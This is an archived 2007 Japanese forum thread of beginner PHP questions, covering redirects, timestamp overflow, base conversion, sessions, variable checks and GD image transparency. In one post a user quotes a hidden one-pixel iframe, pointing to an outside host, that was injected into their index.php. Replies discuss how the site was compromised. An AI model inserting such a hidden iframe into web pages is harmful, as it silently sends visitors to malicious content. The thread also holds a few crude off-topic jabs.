トップページ⇒php
1001コメント331KB

【PHP】下らねぇ質問はここに書き込みやがれ 45

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2007/05/12(土) 16:42:48ID:???
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1177635762/

◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。

◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0655nobodyさん2007/06/05(火) 01:10:08ID:???
※くだらない質問スレで議論するのはやめてください
これ以上やるならクソスレ立てて誘導します。
0656nobodyさん2007/06/05(火) 01:18:11ID:???
>>655
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。
0657nobodyさん2007/06/05(火) 01:21:00ID:???
>>654
反論があれば具体的にどーぞ。
Railsがどんな功績や効率的な処理を実現しましたか?
ほんとCGI系でオブジェクト指向なんてひとつも意味無いから。
RubyはVisualCOBOLみたいなもんだよ。アホな人的資源の救済措置。
0658nobodyさん2007/06/05(火) 01:25:07ID:J7TorZ22
>>655
ここがそのクソスレ(ry
すまん 吊ってきます。
0659nobodyさん2007/06/05(火) 01:26:25ID:???
ちなみにここで繰り返し出てきたオブジェクト指向の長所とやらは
全て手続き型で実現可能な物事です。まぁ当たり前なんだけどね。
オブジェクト指向自体が手続き型で実装されているわけだから。

自分で実際やってみるとわかるけど、スクリプト言語でオブジェクト指向的
振る舞いを繰り返すと、すぐに重くてどうにもならなくなる。
また全体に知能が低めに設定されているのか、オブジェクト指向派は動的な
構成を好み、決まってHTMLを生成しようとしない。
0660nobodyさん2007/06/05(火) 01:37:59ID:???
>>659
いまどきOOが重いとか貧民的プログラムが必要な環境ならCで組むことをオヌヌメするよ
0661nobodyさん2007/06/05(火) 01:58:10ID:???
>>660
な。知能低いだろ。HTML生成型という発想そのものが無く、Cで書けば速いと
思い込んでいる。自分で書いたことも無さそうなのにw
こんな5年10年使い込まれた泣き言が飛び出すとは、この糞スレだけ時の流れが
止まってるのでしょうか。サーバサイドは誰でもどんな時代でも少しでも軽い方が
良いに決まっているのにねぇ。私はカウンタだけCで書いています。関係無いけどね。
0662nobodyさん2007/06/05(火) 02:04:37ID:???
※2度目の忠告です
議論は他にいってやってください。
0663nobodyさん2007/06/05(火) 02:06:37ID:???
>>659
君が独自の試行錯誤の末に何かを得たのはわかった。
でも一般性に欠けるから、人に押し付けないでね。
0664nobodyさん2007/06/05(火) 02:11:18ID:???
>>655 >>662
何この偉そうな馬鹿?何様だよ^^;;
0665nobodyさん2007/06/05(火) 02:13:37ID:???
>>655
糞スレ立てるなんて犯罪予告だぜ!
通報しますた。
0666nobodyさん2007/06/05(火) 02:14:37ID:???
うちも変更されないようなページはHTMLを生成するな

社内向けシステムなら動的にページを生成したときの
レスポンスの悪さもある程度がまんしてもらえるけど
ネットに公開するようなサイトだとそれだと困るからな〜
0667nobodyさん2007/06/05(火) 02:34:09ID:???
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。
0668nobodyさん2007/06/05(火) 04:20:29ID:???
>>250
いや、やっぱり見えるか見えないかそんな所が一番。
特に周りに広がるメラニン色素の沈着がタマラナイ。
06696682007/06/05(火) 04:21:30ID:???
うそです
0670虚弱PHP2007/06/05(火) 10:16:30ID:???
まあ、なにはともあれOOPを「勉強」するならPHPはいい回答ではない。
0671nobodyさん2007/06/05(火) 11:54:18ID:4B8PpfOt
ただ単にリダイレクトさせるためだけにPHPを使いたいんだけど、

<?php header("Location: 転送先URL"); ?>

だけテキストで入力して、
その後、拡張子をPHPにすればOKでしょうか?

あと、このリダイレクトの方法って、メタと違って
ブラウザ側で拒否出来ないという認識で問題ないですか?
0672nobodyさん2007/06/05(火) 12:07:33ID:???
>>671
PHPが動くサーバー設定になってるならそれで大丈夫じゃない?
0673nobodyさん2007/06/05(火) 13:08:10ID:???
>>671
ブラウザで拒否できないというか、
正常なブラウザならhttpヘッダを見て挙動を決めるので、
それでリダイレクトされる。
逆にそれでリダイレクトされないなら、
そのブラウザがブラウザとしての最低限の機能を搭載してないってこと。
つまりブラウザにあらず。
0674nobodyさん2007/06/05(火) 13:19:13ID:4B8PpfOt
>>672
有り難うございます。
一応、動くのは試してみてわかっているのですが、
PHP自体をほとんど理解していないので
なにか足りないのではないかと
ちょっと心配になり聞いてみました。

>>673
有り難うございます。
PHPは現在、初心者本片手に勉強してるんですが、
まだまだ理解が乏しいので助かりました。
言われてなるほどですね。
0675nobodyさん2007/06/05(火) 13:29:59ID:???
>>620、>>625
セッション関数を使うと、「セッションクッキー」という特殊なクッキーが
自動で発行される。


>セッションはクッキーと違い(中略)あるユーザーが取得したセッションで管理されてる変数を・・・
共有できるわけねぇだろ、と。
それじゃセッションの意味がないだろ、と。
0676nobodyさん2007/06/05(火) 14:32:50ID:???
共有しようと思えば・・・
0677nobodyさん2007/06/05(火) 14:40:10ID:J1A5BxRH
Oracleを使いたいのですが、
標準の関数oci_connect等を使うか、
PEARのDBクラスを使うか、
PDO関数を使うか、どれを使えばよいのか迷っています。
好きなものを使うべきなのでしょうが、
皆さんならどれを使いますか?
0678nobodyさん2007/06/05(火) 14:57:10ID:???
PDOが無難
0679nobodyさん2007/06/05(火) 15:19:54ID:fm5P/WUS
質問です。
PHPスクリプトを暗号化しようと思い
php_screw( ttp://www.pm9.com/newpm9/itbiz/php/ )をインストールし
php.iniにextension=php_screw.soと記述し、phpを実行すると
以下のようなエラーが出てしまいます。

PHP Warning: Unknown(): Unable to load dynamic library
'/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so' -
/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so:
cannot open shared object file: No such file or directory in Unknown on line 0

No such file or directorといわれていますが実際にファイルは存在しています。
何らかの原因でロードできていないんだと思いますが、検討がつきません。

どなたか分かる方いらっしゃらないでしょうか?

環境は Linux(CentOS4.4) + PHP 4.4.4です。
0680nobodyさん2007/06/05(火) 15:24:34ID:Q4Q2J1Ec
Web関係の求人サイト見て思ったんだが、
「オープンソースでの開発経験をお持ちの方」
って書いてあったんだが、気にしなくていいよな・・・


いいバイト先ないかなぁorz
0681nobodyさん2007/06/05(火) 15:32:15ID:???
>>680
ここは人生相談スレでもチラシの裏でもありません。
0682nobodyさん2007/06/05(火) 15:33:04ID:???
>>680
開発に参加っていってもパッチを送る位なら履歴書を書きながらでもできるだろ。
適当なハックを見繕ってプロジェクトのMLにポストすりゃいいのよ。
0683nobodyさん2007/06/05(火) 16:10:55ID:???
long 型の Unix タイムスタンプ(数字13ケタ)を人間が読めるように表示したい。

Java だと、以下のような感じでできた。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);

PHP で同じようなことをしたいと思い、

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

こんなコードを書いたが、date() や gettime() は int 型しか受け取れない。
Java みたいに long を受け取れる関数はありますか?

やりたいことですが、今使っている他システムが、ログに時刻を Unix タイムスタンプ(long型)で
出力しやがるので、それを見やすくする web 変換ページを作りたいのです。
0684nobodyさん2007/06/05(火) 16:17:33ID:???
>>683
>>1
0685nobodyさん2007/06/05(火) 16:18:48ID:Ku9URNE5
N進数→N進数の変換をしたいんだけど
割って位を出していくでしょ?
数が巨大になると、PHPが整数として扱える範囲を超えて、
割れなくなる。
この難問どうすれば解けますか?
0686nobodyさん2007/06/05(火) 16:21:56ID:???
>>685
数いくつかに分ければいいんじゃね?
06876832007/06/05(火) 16:26:41ID:vO+V39fB
すみません、sage は NG ということを知りませんでした。

サーバのOS:CentOS4.4
PHPのバージョン:PHP 4.3.9
Webサーバ:2.0.52
0688nobodyさん2007/06/05(火) 16:48:52ID:???
>>687
そのコードで何が問題?

>>685
http://php.net/base_convert
0689nobodyさん2007/06/05(火) 16:53:20ID:???
>>683
型キャストすればいいんでないの?
06906832007/06/05(火) 16:58:40ID:vO+V39fB
>>688

date() 関数に 1181025482687 のような13桁を渡すと、
オーバーフローしてしまいます。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);  // 2007/06/05 15:38:02 が表示される

同じ "1181025482687"を >>683 のコードに渡すと
2038-01-19 12:14:07 が表示されてしまいます。
>>683 のように、"1181025482"(後ろ3文字をカット)すると、
2007-06-05 15:38:02
が表示されます。

実際にはミリ病は必要ないのでこれでいいのですが、
PHP でも、Java のように long 型で受け取れないのかなと思い
質問しました。

>>689
キャストしてみた。

$param = "1181025482687";
$today = date('Y-m-d H:i:s', (int)$param); // (intをつけた)

結果は、やはり 2038-01-19 ・・・ が表示されてしまう。
0691nobodyさん2007/06/05(火) 17:00:10ID:???
>>690
date('Y-m-d H:i:s',1181025482687 / 1000)

2007-06-05 15:38:02

割ればいいんでないの?
06926832007/06/05(火) 17:11:04ID:vO+V39fB
>>691
とりあえず割ることで対応しました。
自分が作った関数には13ケタの数字をそのまま渡したいのですが、
出力にはミリ秒が含まれなくても別にかまわないので。

# date() の出力フォーマットにミリ秒が出せるのは、PHP 5.2.2 からのようですね

http://www.php.net/manual/ja/function.date.php
をみると、date() の引数は int 型なので、結局 long は渡せないし、
ほかにそのような関数もない、ということなのかな。

っつーか http://www.php.net/manual/ja/language.types.php を見ているのですが、
もしかして PHP は long がない?
(整数は、10進だと10ケタまで?)

すみません、頭の中がJavaかCなもので・・・
0693nobodyさん2007/06/05(火) 17:13:06ID:???
UNIXタイムスタンプって普通秒単位だろ?
ミリ秒単位で渡すなよ.
例え桁あふれがなくても1181025482687秒と認識されるだろが
0694nobodyさん2007/06/05(火) 17:21:02ID:???
>>692
普通にlong型はないね。
intの範囲(-2147483647〜2147483647)を超えるとfloatになる。
06956832007/06/05(火) 17:29:28ID:vO+V39fB
>>693-694
レスどうもありがとうございます。
すみません、Unix タイムスタンプ(time_t ?)という書き方がよくなかったでした。
やりたかったことは、とにかく 時刻表現が1970/1/1 からのミリ秒として13ケタの数字でわたってくるので、
これを人間の読めるようにしたかった、でした。

PHP の time() 関数が、精度を秒で返すのは、
PHP の time() が C の time() でできているからかな?
0696nobodyさん2007/06/05(火) 17:36:10ID:???
逆にUNIXタイムスタンプをミリ秒まで数えてるのをJSしか知らない
0697nobodyさん2007/06/05(火) 17:43:47ID:???
>>696
その問題は変数の型とは全く関係ないっしょ。
確かにDate.getTimeとかで1970/1/1からのミリ秒で返ってくるんだろうけど
それは「UNIXタイムスタンプ」とは非なるもの。
適当に3桁削るか自作関数作りなるなりして対応すればいいんでないの.

つかマニュアル見れば分かることだけどlong型なんてないし
型が違ったら自動的にキャストしてくれるから引数の型は意識しなくもいい。

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

そもそも最初の例のこれだと$paramはstring型だしな。
0698nobodyさん2007/06/05(火) 17:47:29ID:???
久々に2038年問題を思い出した
                  クダラネー
0699nobodyさん2007/06/05(火) 17:57:33ID:???
>>679
書いてるまんまだと思うが、パスが違う、パーミッションが違うとかつまんねー理由だと思う。
0700nobodyさん2007/06/05(火) 18:11:13ID:DIaHasCn
すいません、こんな感じのタグが、index.phpに勝手に追加される事があります。
これって、サーバがやられてしまったのでしょうか?

<iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe>
0701nobodyさん2007/06/05(火) 18:35:24ID:???
>>700
自分のスクリプトに穴があるとは考えないんだな
0702nobodyさん2007/06/05(火) 18:39:10ID:???
Dreamweaver使ってるんじゃまいか?
0703nobodyさん2007/06/05(火) 18:41:05ID:???
自鯖ならそく閉鎖しる
07047002007/06/05(火) 19:03:42ID:DIaHasCn
レス、ありがとうございます。

>>自分のスクリプトに穴があるとは考えないんだな
問題のあるコードを書いているかもしれません。。。

>>Dreamweaver使ってるんじゃまいか?
使ってます、問題あるのでしょうか?

>>自鯖ならそく閉鎖しる
閉鎖しました
0705nobodyさん2007/06/05(火) 19:05:35ID:???
>閉鎖しました
はやいなw
0706nobodyさん2007/06/05(火) 19:21:06ID:???
>>704
http://www.itmedia.co.jp/enterprise/articles/0702/08/news027.html
0707nobodyさん2007/06/05(火) 19:37:41ID:???
せっかくだからその穴だらけのコード晒してけよ
0708nobodyさん2007/06/05(火) 19:55:06ID:???
現実に個人レベルでもクラックってされるんだなw
脆弱性のあるスクリプトがどういうものなのか気になる。
今後の参考にもぜひみせてもらいたい。
0709nobodyさん2007/06/05(火) 20:34:47ID:6blsZ/zS
初心者ですが教えて下さい。「変数に値が入ってなかったら」
というのは、どういう風に表現されるのですか?

変数Aに、値が入っていなかったら、変数Bを変数Xに代入せよ。
変数Aに、値が入っていたら、変数Xには変数Aを代入せよ。

ということを書く場合、
if($a==""){$x=$b}
else
{$x=$a}

じゃ、うまくいかないんですが、未定義・null・値が入ってない、
といったことを表現するのはどう表現するのでしょう?

0710nobodyさん2007/06/05(火) 20:38:11ID:???
>>709
http://jp.php.net/empty
0711nobodyさん2007/06/05(火) 20:38:22ID:???
>>709
「初心者ですが教えて下さい。」←これタブーね

if($a){
echo "入っています";
}else{
echo "入っていません";
}
0712nobodyさん2007/06/05(火) 20:41:11ID:???
>>709
ttp://jp.php.net/manual/ja/function.isset.php
ttp://jp.php.net/manual/ja/function.is-null.php
ttp://jp.php.net/manual/ja/function.empty.php
0713nobodyさん2007/06/05(火) 20:42:10ID:???
>>711
それ$aが0のときダメなんじゃん?
0714nobodyさん2007/06/05(火) 20:47:01ID:MIae8p3r
GDを使った画像の透明化がうまくいきません。
imagepng()で作成した場合はちゃんと透明化されるのですが、
imagegif()を使用すると透明化されません。
サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
何かご存知でしたらご教授お願いします。

↓テスト用にソースを抜き出しました。
<?
$image = imagecreatetruecolor(20,20);
$color = ImageColorClosest($image,255,255,255);
for($i=1;$i<=10;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$color = ImageColorClosest($image,200,0,5);
//透明にする予定の色で半分だけ塗りつぶし
for($i=11;$i<=20;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$permeateColor = ImageColorClosest($image,200,0,5);
imagecolortransparent($image,$permeateColor);
$file = "./test.gif";
imagegif($image,$file);
//$file = "./test.png";
//imagepng($image,$file); これならうまくいく
0715nobodyさん2007/06/05(火) 20:51:11ID:6blsZ/zS
私は >>709 です。

すごい すごい!
こんなに素速く返事があるなんて!
あまりに初歩的すぎて、皆さんから怒られるかと思いましたが、
適切なご教示を頂きありがとうございました。
マニュアルとか解説系HPでも分からなかったのですが、
isset ってのも見かけては居たのですが、その変数が宣言されて
いるかどうかを調べる関数に違いないと即断していました。
いろいろあるんですね。
ありがとうございました m(..)m
0716nobodyさん2007/06/05(火) 20:51:41ID:???
>>714
> サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
とりあえず上手くいくサーバといかないサーバのGDのバージョンをリストアップしてみれば
0717nobodyさん2007/06/05(火) 21:07:48ID:EQxq7rXd
セッションについて質問です

error_reporting(E_ALL);
if(isset($_COOKIE["hoge"])){

ini_set("session.gc_maxlifetime",14*86400);
ini_set("session.cookie_path","/hogehoge/");
ini_set("session.cookie_lifetime",14*86400);
ini_set("session.save_path","./hogehogehoge/");
ini_set("session.use_only_cookies",1);

session_start();
$sestmp=$_SESSION;
session_destroy();
session_id(md5(uniqid(rand(),true)));
session_start();
$_SESSION=$sestmp;
}
//以降省略

上記のコードですが、テスト環境(Windows+AN HTTPD+PHP5.2.1)では問題は無いのですが、レンサバ(Linux+Apache1.3+PHP5.1.6)で動かした所、特にエラーメッセージ等も無いのにセッションファイルがカラッポ(0バイト)になってしまいます。
単にsession_start();とした場合は期待通りに動作するのですが、session_start();session_regenerate_id(true);では駄目でした。

ローカルではいずれも意図した通りに動作するのに、何故レンサバでは動かないのでしょうか?
また解決するにはどうすれば良いのでしょうか?
0718nobodyさん2007/06/05(火) 21:09:00ID:???
>>686
アルゴリズムが難解すぎて…
具体的にどうやればいいですか?
>>688
最初はそれ使ってましたが
巨大になると挙動がおかしくなるんです

// ここまではok
echo base_convert('fffffffffffff',16,16);

// ここからng
echo base_convert('ffffffffffffff',16,16);
0719nobodyさん2007/06/05(火) 21:28:52ID:???
つ 一歩進んで前習え
0720nobodyさん2007/06/05(火) 21:30:26ID:???
>>717
環境依存すぎ。
そういうことするまえに、
なにもせずに
session_start();で
var_dump($_SESSION);
が可能かどうかをしめすべきだ。
07217172007/06/05(火) 21:42:20ID:EQxq7rXd
>>720
ローカル、レンサバ共にarray(0) { }でした

環境依存と言いますと、どこかに汎用性の無い関数でも使っていましたか?
session.cookie_path等は前述のように単にsession_startした場合は大丈夫でしたので問題は無いと思います。
0722nobodyさん2007/06/05(火) 22:09:27ID:???
>>718
>アルゴリズムが難解すぎて…
ふむ、どの辺まで考えたの?
>巨大になると挙動がおかしくなるんです
まぁその理由はマニュアルに書いてあるけどね。
0723nobodyさん2007/06/05(火) 22:14:46ID:???
>>721
iniなんたら多すぎ。
全部外して一つづ加えていって$_SESSION値を確かめろよ。
0724nobodyさん2007/06/05(火) 22:21:26ID:???
>>721
ココだけ見ると COOKIEが無いときは永久に通らないという罠
一行づつデバグしろよ

あと、/hogehoge/のパーミッションエラーとかはマジ勘弁
0725nobodyさん2007/06/05(火) 22:23:44ID:???
>>718
function bc_base_n2ten($num, $n) {
  $len = strlen($num);
  $result = ??
  for ($i=0; $i<$len; $i++) {
    $result = bcadd($result,
        bcmul(base_convert($num[$i], $n, 10), bcpow($n, $len - $i - 1)));
  }
  return $result;
}
function bc_base_ten2n($num, $n) {
  $len = strlen($num);
  $result = ??
  for ($i=0; $i<$len; $i++) {
    $surplus = bcmod($num, $n);
    $num = bcdiv(bcsub($num, $surplus), $n);
    $result .= base_convert($surplus, 10, $n);
  }
  return preg_replace("/^0+/", ??, strrev($result));
}
function bc_base_convert($num, $n, $m) {
  $num = bc_base_n2ten($num, $n);
  return bc_base_ten2n($num, $m);
}

PEAR探さばこういうのあるかもしれないけどシラネ
息抜きに作ってみたからちゃんと動作するかもシラネ
0726nobodyさん2007/06/05(火) 22:26:03ID:???
なんか化けてるしorz
??は上から
'0'
''
''
0727717 ◆.Ia5JkzwT6 2007/06/05(火) 22:26:49ID:EQxq7rXd
>>723-724
レス有り難う御座います
一行ずつ試してみたいと思います

パーミッションはミスってたらエラーメッセージが表示されますし、session_start()のみだと正常に動作するのでそれは無いと思います

早いですが、今日はもう寝るのでトリップつけておきます
0728nobodyさん2007/06/05(火) 22:41:18ID:???
ねるのはやいw
0729nobodyさん2007/06/05(火) 22:58:16ID:???
配列使う時
$hoge = array();
書かずにいきなり
$hoge[] = 'fuga';
って書くの行儀悪い?
0730nobodyさん2007/06/05(火) 23:03:17ID:???
>>729
気分次第、でも VB(option explicit) C JAVA とかと一緒でクセで初めに宣言してる
0731nobodyさん2007/06/05(火) 23:05:58ID:???
>>729
コーディング規約に従えばよろし
ないならフィーリングでおk
0732nobodyさん2007/06/05(火) 23:32:15ID:???
>>729
書き方次第でどっちもつかう
0733nobodyさん2007/06/05(火) 23:35:20ID:???
捨てコードじゃないなら、宣言しとくのが普通だろ。
0734nobodyさん2007/06/06(水) 00:11:14ID:???
Cで宣言してから使うのに慣れている人は
他人のソースを見るときでもそれを前提に読むからな

どっちでもいいと思うよ
おれは宣言してから使うけど
0735nobodyさん2007/06/06(水) 00:23:36ID:???
>>729
forとかifとかの中で
$hoge[] = 'fuga';
するなら、必ず
$hoge = array();
しておく。
0736nobodyさん2007/06/06(水) 00:27:49ID:???
>>729
たぶんDBのFetchループあたりのことだと思うけど、
そういうのわざわざ変数名変えたりしないから
初期化してないってのは怖いね。
0737nobodyさん2007/06/06(水) 00:48:44ID:???
初期化する必要がないほうが高級言語じゃないか?
別にPHPがそうとかいう話じゃなくて、プログラミング言語の発展としてさ。
いちいちプログラマの判断で変数宣言を書き込んで管理しなきゃならないなんて、前時代の遺産となるべきものじゃないかしら
0738nobodyさん2007/06/06(水) 00:52:31ID:???
初期化コードが近くにないと、
新しく使うのか、どこかから結果を引き継いでいるのかが分からないから
可読性のために俺は書く
0739nobodyさん2007/06/06(水) 00:54:27ID:???
$str = 'hoge';
echo $str[1]
---
o

こんな感じに、配列のように文字列から文字を切り出せるって
今日はじめて知ったんだがおまえら知ってましたか?
これ一般常識なの?
0740nobodyさん2007/06/06(水) 01:00:47ID:???
>>739
つかマニュアルに普通に書いてあるし
0741nobodyさん2007/06/06(水) 01:21:46ID:???
俺だけなのか…(゜◇゜)
0742nobodyさん2007/06/06(水) 01:28:32ID:???
自分と他人の世界や知識や価値観は違うってことが理解できない人?
0743nobodyさん2007/06/06(水) 01:39:49ID:???
>>739
しらなかった。
マニュアルのどこにかいてあったの?
0744nobodyさん2007/06/06(水) 01:40:29ID:???
>>743
そんくらい自分で見ればいいだろ
ほんと人にやってもらわないと何にもできない人だな・・・
0745nobodyさん2007/06/06(水) 01:41:48ID:???
>>739
なんじゃそれ!?
もしそれが本当なら、実は変数は全て配列型だってことか?
0746nobodyさん2007/06/06(水) 01:43:29ID:???
ちょうど>>725でも使ってるな
0747nobodyさん2007/06/06(水) 01:43:45ID:???
>>745
違うよ配列型が実は全て文字列型で構成されてるんだよ
0748nobodyさん2007/06/06(水) 01:44:10ID:???
>>737
変数のスコープを自在にあやつれるほうが高級、というか混乱しなくて良い
んなわけで初期化というか変数宣言(Perlだとmyとかlocalとかな)がないと困るZE☆
0749nobodyさん2007/06/06(水) 01:45:46ID:???
>>748
初期化の必要性と、変数スコープを自在にあやつれることは、別の問題だろ?
0750nobodyさん2007/06/06(水) 01:55:19ID:???
http://jp.php.net/manual/ja/language.types.string.php#language.types.string.substr
0751nobodyさん2007/06/06(水) 01:58:00ID:???
PHP+ImageMagickで、たまに画像アップロードができません。
アップロードできない画像は主にjpgです。
アップロードできるjpgもあります。
ファイルサイズも関係ないようです。
(ファイルサイズが大きめのjpgにもアップロードできるものがあった。逆に小さいjpgだができないものもあった)

昔も同じ症状に陥りましたがたしかphpの設定関係だった気がします。。
いったいどこが原因でしょうか?
07527512007/06/06(水) 01:59:12ID:b3J3b1x0
スマソage
0753nobodyさん2007/06/06(水) 02:00:53ID:???
jpegとpjpegじゃね?
0754nobodyさん2007/06/06(水) 02:07:41ID:???
>>749
スコープを決めるには変数宣言必要だし
変数宣言あるなら
my $hoge;
・・・
$hoge[] = 'fuga';
するなら
my $hoge = array();
・・・
$hoge[] = 'fuga';
のほうが "読みやすい" と思う。
だから俺は変数宣言は必須で初期化は任意でいいと思うけど
初期化してあるほうが「他の人が改修する時」とか。という感じだZE☆

phpの場合スコープいいかげんだから、初期化しといたほうが気配りさんじゃね
エディタの一画面で全部把握できるコードとかだったら俺も初期化とかしねーけどさ
■ このスレッドは過去ログ倉庫に格納されています